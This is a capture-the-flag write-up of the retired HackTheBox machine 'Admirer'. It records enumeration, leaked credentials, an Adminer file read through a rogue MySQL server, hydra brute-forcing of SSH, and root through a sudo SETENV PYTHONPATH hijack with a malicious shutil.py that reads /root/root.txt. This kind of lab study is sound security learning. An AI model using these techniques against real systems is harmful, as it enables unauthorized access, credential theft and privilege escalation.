HTB: Admirer

Posted on 27 Sep 2020 in security • 5 min read

Admirer card

This is a writeup about a retired HacktheBox machine: Admirer created by polarbearer and GibParadox and publish on May 2, 2020. This box is classified as an easy machine. The user part implied a few enumeration and an adminer vulnerability. The root part implied a sudo permission with SETENV and a python script.

User

Recon

We start with an nmap scan. Only the ports 21(FTP), 22 (SSH) and 80 (HTTP) are open.

# Nmap 7.80 scan initiated Mon May  4 11:30:21 2020 as: nmap -p- -sS -oN nmap 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.020s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

# Nmap done at Mon May  4 11:39:02 2020 -- 1 IP address (1 host up) scanned in 520.65 seconds

FTP

The ftp service doesn't allow anonymous connections.

Web

The home web page is a collection of picture.

Home page

We look at the robot.txt file, it contains the location of some admin-dir directory supposed to contain some credentials.

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

We try a few filename like passwords.txt, creds.txtcredentials.txt works and give use a few usernames and password for some services including ftp.

[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

Back to the FTP

We connect to the FTP account using the creds. This allow us to get a SQL dump (nothing interesting in it) and an archive of the web site. This archive give show the existence of an interesting directory utility-scripts. It also give use credentials for a MySQL database in the db_connect.php file. The comment at the end of the file // TODO: Finish implementing this or find a better open source alternative is also an hint for the next part.

FTP page

Back to the web

We use dirb on the utility-scripts directory. As we know that the application is using php we add the .php extension. The tool discover the page adminer.php.

kali@kali:~/pown/htb_admirer$ dirb http://10.10.10.187/utility-scripts/  /usr/share/wordlists/dirb/big.txt -X .php

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue May  5 05:55:58 2020
URL_BASE: http://10.10.10.187/utility-scripts/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.187/utility-scripts/ ----
+ http://10.10.10.187/utility-scripts/adminer.php (CODE:200|SIZE:4295)

Adminer

Adminer is a tools to manage your database directly from your browser. It is a phpmyadmin alternative.

Obviously we land on a login page. The previously found credentials doesn't work. But looking at the page, we see that the used version is "4.6.2" and that the last version is "4.7.6".

adminer page

We Google for "adminer 4.6.2 exploit" and found an article about a serious vulnerability in adminer tool

We just need a Rogue MySql Server. We launch it and start getting some files. We try db_connect.php but the file was obviously replace by adminer.php. We can retrieve adminier.php just to be sure that our exploit is working. Then we just retrieve ../index.php which contain the new creds for the database.

kali@kali:~/Rogue-MySql-Server$ php roguemysql.php
Enter filename to get [db_connect.php] > ../index.php
[.] Waiting for connection on 0.0.0.0:3306
[+] Connection from 10.10.10.187:47566 - greet... auth ok... some shit ok... want file...
[+] ../index.php from 10.10.10.187:47566:
<!DOCTYPE HTML>
<!--
        Multiverse by HTML5 UP
        html5up.net | @ajlkn
        Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
-->
<html>
        <head>
                <title>Admirer</title>
                <meta charset="utf-8" />
                <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" />
                <link rel="stylesheet" href="assets/css/main.css" />
                <noscript><link rel="stylesheet" href="assets/css/noscript.css" /></noscript>
        </head>
        <body class="is-preload">

                <!-- Wrapper -->
                        <div id="wrapper">

                                <!-- Header -->
                                        <header id="header">
                                                <h1><a href="index.html"><strong>Admirer</strong> of skills and visuals</a></h1>
                                                <nav>
                                                        <ul>
                                                                <li><a href="#footer" class="icon solid fa-info-circle">About</a></li>
                                                        </ul>
                                                </nav>
                                        </header>

                                <!-- Main -->
                                        <div id="main">
                                        <?php
                        $servername = "localhost";
                        $username = "waldo";
                        $password = "&<h5b~yK3F#{PaPB&dA}{H>";
                        $dbname = "admirerdb";

We can then connect to the local database with adminer but there is nothing interesting there.

I have the habit to create two files user and passwd containing the looted data. We use hydra to test the gather creds against the ssh service. The last password found is a valid SSH password for the waldo user.

$ hydra -L user -P passwd ssh://10.10.10.187
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-05 05:22:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries (l:11/p:6), ~5 tries per task
[DATA] attacking ssh://10.10.10.187:22/
[22][ssh] host: 10.10.10.187   login: ftpuser   password: %n?4Wz}R$tTF7
[22][ssh] host: 10.10.10.187   login: waldo   password: &<h5b~yK3F#{PaPB&dA}{H>
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-05 05:22:17

We can then connect to ssh and get the user flag.

kali@kali:~/pown/htb_admirer/loot/html$ ssh waldo@10.10.10.187
waldo@10.10.10.187's password:
<SNIP>
waldo@admirer:~$ cat user.txt
fea0c3468144ce6091631cfbfb6c81eb

Way to root

With our ssh connection with start to enumerate the box. The first thing we notice is that we have the sudo permission to execute /opt/scripts/admin_tasks.sh with the SETENV flag. Which means that our environmental variable will be preserved.

waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

When looking at the script we see a few interesting blocks.

The first interesting part is the backup_shadow function. I tried some race condition between the moment the file is backuped and not yet chown to root. But that is not working.

backup_shadow()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
        /bin/cp /etc/shadow /var/backups/shadow.bak
        /bin/chown root:shadow /var/backups/shadow.bak
        /bin/chmod 600 /var/backups/shadow.bak
        echo "Done."
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

The next one is the backup_web function as this call an external python script.

backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py &
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}

The python script import the make_archive function from shutil. And then create a tar.gz archive from /var/www/hml.

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

As we can export our environmental variable to sudo, we can rewrote the shutil module to execute the code we want. We wrote a specific shutil.py script:

    :::text
    def make_archive(a,b,c):
        print('ok')
        with open('/root/root.txt') as f:
            with open('/tmp/plop/flag.txt', 'w') as g:
                g.write(f.read())

And run the web backup with specifying our PYTHONPATH environment variable.

waldo@admirer:/tmp/plop$ sudo PYTHONPATH=/tmp/plop /opt/scripts/admin_tasks.sh 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/plop$ ok
cat flag.txt
6bd44137e00395497fefe44684913599

Wrapping up

The box was a combination of simple techniques. As the exposed surface was really small (FTP, SSH and HTTP) there was not a lot of rabbit hole during exploration. I am a bit mad that the "exploit" for adminer was not in searchsploit as I lost some time before putting the search into Google.

The root part was quit simple if you know already know the issue.